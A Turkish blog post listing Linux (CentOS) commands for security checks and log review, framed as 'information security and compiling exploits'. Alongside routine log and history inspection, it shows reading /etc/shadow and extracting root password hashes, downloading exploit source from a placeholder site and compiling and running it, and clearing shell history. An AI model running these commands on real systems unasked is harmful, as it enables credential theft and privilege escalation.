13 Aralık 2015

Linux'de Bilgi Güvenliği ve Exploit Derlemek

Linux'de Bilgi Güvenliği ve Exploit Derlemek

Linux (CentOS) makinelerde bilgi güvenliği için kullanılan komutlar ve Exploit derleyip çalıştırmak için gerekli bilgileri bu makale altında toplayacağım. Aşağıdaki komutlar ile Linux sunucu üzerinde güvenlik ve zaafiyet önlemek için bilgiler edinebilirsiniz.

Linux'de tüm kullanıcıların (Root dahil) Username, UID değerleri, izin yollarını öğrenmek için;
cat /etc/passwd

burakavcioglu:x:0:0:root:/root:/bin/bash
0 ID olanlar Root yetkilerine sahip kullanıcılardır.

Linux'de Bilgi Güvenliği ve Exploit Derlemek

Root kullanıcı parolası için kullanılan şifreleme algoritmasını öğrenmek için;
# authconfig --test | grep hashing

Makinenin kernel bilgisini öğrenmek için;
# uname -a

Linux'de herhangi bir Exploit derlemek için;
# yum -y install wget
# wget http://exploit-sitesi/vuln.c
# gcc -w -o exploit vuln.c
# ./exploit

Linux işletim sistemli makinelerde kullanıcıların parolalarının özeti "/etc/shadow" dosyasında tutulmaktadır. Dosyayının tamamını görüntülemek için;
cat /etc/shadow

Root kullanıcı parolasının HASH değerini öğrenmek için (Başka kullanıcılar için root yerine öğrenmek istediğiniz kullanıcının adını yazmanız yeterli);
# cat /etc/shadow | grep "root:"

Kullanıcı parolasının Sadece HASH değerlerini almak için (Aşağıdaki komut root içindir);
# cat /etc/shadow | grep "root:" | cut -d "$" -f4 | cut -d ":" -f1
# cat /etc/shadow | grep "root:" | cut -d ":" -f2

HASH değerleri Password Mangle yöntemleri ile Password Mangler Bash Script sunucuya indirip çalıştırıldıktan sonra Brute Force yöntemi ile bulunabilir.

Linux'de Bilgi Güvenliği ve Exploit Derlemek

Linux'de FSTAB Dosyası

/etc/fstab dosyası, sistemdeki aygıtların dosya sistemleri hakkında bilgilerini içeren bir sistem dosyasıdır. Dosyayının tamamını görüntülemek için;
# cat /etc/fstab

FSTAB dosyasında şu bilgilere erişebilirsiniz; Sisteme bağlı aygıtlar, Aygıtların mount edildiği noktalar, Aygıtların dosya sistemleri, Dosya sistemi seçenekleri.

Bilgi güvenliği açısından FSTAB, içerisinde derlenmeye çalışan veya derlenirken hata veren Exploit dosyalarını görüntüleyebilirsiniz.

Linux'de Geçmiş Komutları Görüntülemek;

Sunucuda geçmiş komutları görüntülemek için;
history

Sunucuda geçmişte kullanılan komutlarının hepsini silmek;
history -c

Kullanıcıya ait geçmişi görüntülemek (Sunucuda burakavcioglu kullanıcısının SSH üzerinde yazdığı komutları öğrenmek için);
history | grep burakavcioglu

Geçmiş komutlarda aramak istediğimiz kelime veya dizin yolu için;
# history | grep aranacak-kelime

Sunucu üzerinde oluşturulan ve silinen kullanıcıların kayıtlarını /var/log/secure dosyasından öğrenebilirsiniz. Linux'de tüm log kayıtları ise  /var/log dizini içinde tutulur.

Hangi dosyada 1 gün veya 3 gün içinde düzenlenmiş, içeriği değiştirilmiş veya nerelerde çalışma yapılmış öğrenemek için;
# find -mtime -1
# find -mtime -3

Tüm logları görmek için;
# cat /var/log/secure

Silinen kullanıcı loglarını görmek için;
# cat /var/log/secure | grep userdel

Linux CentOS'da Apache sunucudaki loglar /var/log/httpd dizini içinde tutulur. Apache, modsec_audit, mod_security ve hata kayıtları (error_log) gibi log dosyalarını inceleyebilirsiniz.

CentOS Sunucuya Get Flood saldırısı yapan IP listesini ve gönderdiği talepleri öğrenmek için;
# cat /var/log/httpd/accedd_log | cut -d "-" -f1 | sort | uniq -c

Root veya sunucudaki bir kullanıcı hangi IP ile SSH bağlantısı yaptığını known_hosts dosyasına bakarak öğrenebiliriz. İlk olarak ilgili kullanıcının SSH dosya yoluna gidelim;

Kullanıcı Root ise;
# cd /root/.ssh/

Home dizini altındaki bir kullanıcı, Örnek: burakavcioglu;
cd /home/burakavcioglu/.ssh/

Dosyayı okuyarak bağlandığı IP adresini görebiliriz;
cat known_hosts

Hiç yorum yok:

Yorum Gönder